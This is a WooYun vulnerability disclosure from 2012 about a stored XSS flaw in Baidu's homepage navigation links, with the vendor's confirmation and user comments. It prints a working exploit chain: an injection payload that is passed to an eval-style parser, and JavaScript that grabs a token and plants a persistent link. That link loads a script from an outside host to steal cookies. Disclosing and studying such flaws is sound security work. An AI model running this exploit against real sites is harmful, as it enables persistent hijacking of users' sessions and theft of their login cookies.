当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09732

漏洞标题:百度首页Xss后门-可对用户进行持久劫持

相关厂商:百度

漏洞作者: gainover

提交时间:2012-07-16 18:12

修复时间:2012-08-30 18:13

公开时间:2012-08-30 18:13

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-16: 细节已通知厂商并且等待厂商处理中
2012-07-17: 厂商已经确认,细节仅向厂商公开
2012-07-27: 细节向核心白帽子及相关领域专家公开
2012-08-06: 细节向普通白帽子公开
2012-08-16: 细节向实习白帽子公开
2012-08-30: 细节向公众公开

简要描述:

百度首页某处代码存在缺陷,导致Xss,结合www.baidu.com域下的其它Xss,可以在百度首页 实现Xss后门,从而对用户进行长久的劫持。危害很明显:受害者每次打开百度首页都会触发Xss,从而将登录信息发送给俺~~

详细说明:

1. 一直想对百度首页的这个导航功能下手,前面测试过几次,都无果。
2. 今天又手痒了,就去试了试。 首先添加一个网址。


3. 抓包,可以看到,url和name应该是可控内容。


4. 首先往url里添加了 ", > 等字符进行测试,返回错误,这说明百度在这里过滤了这些可能导致危险的特殊字符。
5. 然后我又测试了一下">,发现可以添加。


6. 但是服务器端并没有对">做什么特殊处理,该怎么输出,还是怎么输出,这样我们就没办法利用这点了。


7. 到这里,我就放弃了,打算清理战场走人,但是意外发生了。
什么意外呢?我发现,这里的2个按钮都点不了了。。如图:


8. 直觉告诉我,我加入的">一定导致了代码的某处出现问题了,从而导致按钮失效。
9. 于是开启浏览器的调试功能,刷新首页,弹出了错误提示!
可以看到是下面这句发生了问题。

baidu.json.parse=function(a){return(new Function("return ("+a+")"))()};



10. 进一步查看局部变量a的内容,可以发现 a 就是我们添加的链接数据。


定位到我们刚刚添加的那个链接处,发现了亮点, " 竟然变成了 \"


11. 顿时明了了。 我们可以推测出百度开发人员大致的代码逻辑。

A. 直接将导航数据[content]输出到首页里,用<textarea></textarea>当容器
B. 取出<textarea></textarea>里的value,需要注意的是,xx.value的方式取出 [content]时,内容里的&quot;&gt;&lt;等会被自动转变为 "><
C. 百度的开发人员应该是意识到了 B 中的这个问题,对 >,< 进行了转义,但是此处却忘了将 " 转义为 &quot;


12. 基于10和11,我们知道了&quot;会变为",因而不难构造出利用代码。

http://www.baidu.com/home/nplus/submit/nav
type 1
sort 10
url http://qzone.qq.com/&quot;,&quot;wooyun&quot;:(function(){alert(document.cookie)})(),&quot;wooyun2&quot;:&quot;
name QQ绌洪棿
page -1
from res
cmd add
bsToken 8b4c136d28cc4b8ff****2827d4005c1


13. 最后,步骤9中的a变量的内容,大概是以下形式。
..."url":"http://qzone.qq.com/","wooyun":(function(){alert(document.cookie)})(),"wooyun2":"",...
而后,被 eval("("+a+")"),从而执行我们的alert(document.cookie);
----------------------------------------------
14. 确定存在以上后门缺陷之后,我们进而找到www.baidu.com的某Flash Xss。
利用我在这里提到的技巧:http://zone.wooyun.org/content/368
构建以下利用代码。

http://xsst.sinaapp.com/baidurookit.php
http://xsst.sinaapp.com/baidurookit.php.txt


15. 当受害者打开 http://xsst.sinaapp.com/baidurookit.php 时,会调用
http://xsst.sinaapp.com/baidurookit.js

//alert("load ok! domain:"+document.domain);
//start
getBsToken();
//first obtain bsToken
function getBsToken(){
var _p=ajaxFunction();
_p.open("GET","http://www.baidu.com/",true);
_p.onreadystatechange=function(){
if (_p.readyState==4 && _p.status==200)
{
var content=_p.responseText;
var bs=(content.match(/name=bsToken\s+value="([^"]+)"/)||["",""])[1];
if(bs){
addLink(bs);
}
}
};
_p.send(null);
}
//then post data to add an evil link
function addLink(bsToken){
var _p=ajaxFunction();
_p.open("POST","http://www.baidu.com/home/nplus/submit/nav",true);
_p.setRequestHeader("Content-type","application/x-www-form-urlencoded");
_p.onreadystatechange=function(){
if (_p.readyState==4 && _p.status==200)
{
var content=_p.responseText;
if(content){
var obj=eval("("+content+")");
if(obj.errNo===0){
alert("ok~~ evil thing has been done");
}
}
}
};
_p.send("type=1&sort=10&url=http:%2F%2Fqzone.qq.com%2F%26quot;,%26quot;wooyun%26quot;:(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,119,65,71,112,107,67);document.body.appendChild(window.s)})(),%26quot;wooyun2%26quot;:%26quot;&name=%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7.....&page=-1&from=res&cmd=add&bsToken="+bsToken);
}
//ajax function
//from http://www.w3school.com.cn/ajax/ajax_browsers.asp
function ajaxFunction(){
var xmlHttp;
try{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}catch (e){
// Internet Explorer
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
//alert("您的浏览器不支持AJAX!");
return false;
}
}
}
return xmlHttp;
}
//


16. 以上代码,会自动给受害者在百度首页加上一个含有恶意代码的连接。从而调用我们自己的JS代码,获取受害者信息。
效果见漏洞证明!

漏洞证明:

测试环境Win7, IE7,IE9,Chrome
用户打开的第三方页面!触发flash xss,从而给受害者植入后门!


用户每次打开百度首页,都会触发xss后门!


得到的受害者cookies

修复方案:

在读取 textarea的value之后,对"也进行转义!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2012-07-17 11:29

厂商回复:

xss与csrf的结合,原本添加链接处的csrf已经修复过,但以此来看修复并不完全,而对于XSS的过滤也并不全面,感谢gainover的提交,我们会尽快修复。

最新状态:

2012-07-17:更正下是XSS 与 flash xss的结合 少看了段代码 感谢gainover


漏洞评价:

评论

  1. 2012-07-16 18:16 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    这个牛。先占位置膜拜。

  2. 2012-07-16 18:21 | m4trix1 ( 路人 | Rank:10 漏洞数:2 | 绝对有jj)

    碉堡了 广告位招租

  3. 2012-07-16 18:21 | itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )

    做个试验吧

  4. 2012-07-16 18:22 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    神一样的人 @gainover

  5. 2012-07-16 18:39 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    V5........

  6. 2012-07-16 18:48 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    nice!

  7. 2012-07-16 19:08 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    果然出了

  8. 2012-07-16 19:22 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    S F 拜模

  9. 2012-07-16 19:28 | 明. ( 路人 | Rank:8 漏洞数:7 | ส็็็็็็็็็็็็็็็็็็็...)

    求测试啊。

  10. 2012-07-16 19:28 | 汉时明月 ( 实习白帽子 | Rank:40 漏洞数:6 | ‮......核审在正名签 :)

    这个牛啊

  11. 2012-07-16 19:31 | 明. ( 路人 | Rank:8 漏洞数:7 | ส็็็็็็็็็็็็็็็็็็็...)

    坐等改首页

  12. 2012-07-16 20:39 | xcl0ud ( 路人 | Rank:1 漏洞数:2 )

    我等只能远远的给洞主鞠个躬啊~坐看洞主劫持李彦宏

  13. 2012-07-16 20:47 | 黄小昏 ( 实习白帽子 | Rank:55 漏洞数:7 | alert(妹子))

    求XSS...楼主V5

  14. 2012-07-16 20:48 | 猥琐 ( 路人 | Rank:6 漏洞数:2 | 学习什么的最重要!)

    XSS的逆袭

  15. 2012-07-16 21:17 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    g大太牛了。

  16. 2012-07-16 21:29 | 闪电小子 ( 实习白帽子 | Rank:63 漏洞数:5 | PKAV技术宅社区!---闪电小子!)

    牛掰的思路

  17. 2012-07-16 21:32 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @only_guest 你是我见过这个世界上最帅的男人!

  18. 2012-07-16 21:50 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @gainover 等着被劈吧

  19. 2012-07-16 21:53 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @only_guest .. = = 你。。。太无耻了。

  20. 2012-07-16 21:56 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    ls明显搞基了。

  21. 2012-07-17 01:12 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    老实交代!存了多久。。

  22. 2012-07-17 09:26 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    亲,求指导,求教育,求公开吖。学习思路。

  23. 2012-07-17 09:48 | draGxn ( 实习白帽子 | Rank:35 漏洞数:4 | 路慢慢。。。)

    真心等待细节公布。。

  24. 2012-07-17 11:16 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    这个把妹绝品啊~~发给妹纸,把首页改下,弄点玫瑰、爱心神马的,无敌了~

  25. 2012-07-17 11:28 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @一刀终情 好思路。。。。

  26. 2012-07-17 11:41 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @百度, 是xss与xss的结合, 不是xss与csrf的结合, csrf有bsToken进行防御。 所以这里是拿了一个百度主域名下的flash xss作为跳板,直接用ajax向http://www.baidu.com/xxx 发送请求。

  27. 2012-07-17 11:55 | 百度(乌云厂商)

    @gainover 嗯 少看了一段代码 确实是 xss 和flash xss的结合

  28. 2012-07-17 11:58 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    @百度 修复了公开让我们学习一下呗。好吧。百度最好了。呵呵

  29. 2012-07-17 12:09 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @gainover 5555亲爱的...你竟然说我无耻....

  30. 2012-07-17 12:10 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    @疯子 是xss与xss的结合, 不是xss与csrf的结合, csrf有bsToken进行防御。 所以这里是拿了一个百度主域名下的flash xss作为跳板,直接用ajax向http://www.baidu.com/xxx 发送请求。方法gainover已经说了啊。

  31. 2012-07-17 12:14 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    @only_guest 亲爱的... ,你们两个好上了?

  32. 2012-07-17 13:36 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @shine 骚年.加入PKAV吧!!!让你不寂寞!!!

  33. 2012-07-17 14:30 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    @only_guest 哥没兴趣!不想当第三以上者!

  34. 2012-07-17 16:49 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    果然洞主是牛人啊!

  35. 2012-07-17 18:47 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    @疯子 心声呐~知音呐~基友呐~

  36. 2012-08-01 03:42 | QQ852451559 ( 实习白帽子 | Rank:79 漏洞数:18 | 学生党)

    这里基情四射呐。。

  37. 2012-08-01 12:20 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    "@only_guest 你是我见过这个世界上最帅的男人!"基情四射的年代。。。。

  38. 2012-08-06 12:49 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞

  39. 2012-08-06 13:41 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @水滴 +1

  40. 2012-08-06 13:58 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    接着等 呵呵

  41. 2012-08-06 14:45 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @冷冷的夜 难道我不帅么?

  42. 2012-08-06 15:53 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    估计只有一个人能看洞主的洞洞

  43. 2012-08-06 20:59 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    @only_guest 上图,哇咔咔

  44. 2012-08-08 23:26 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞真是太悲催了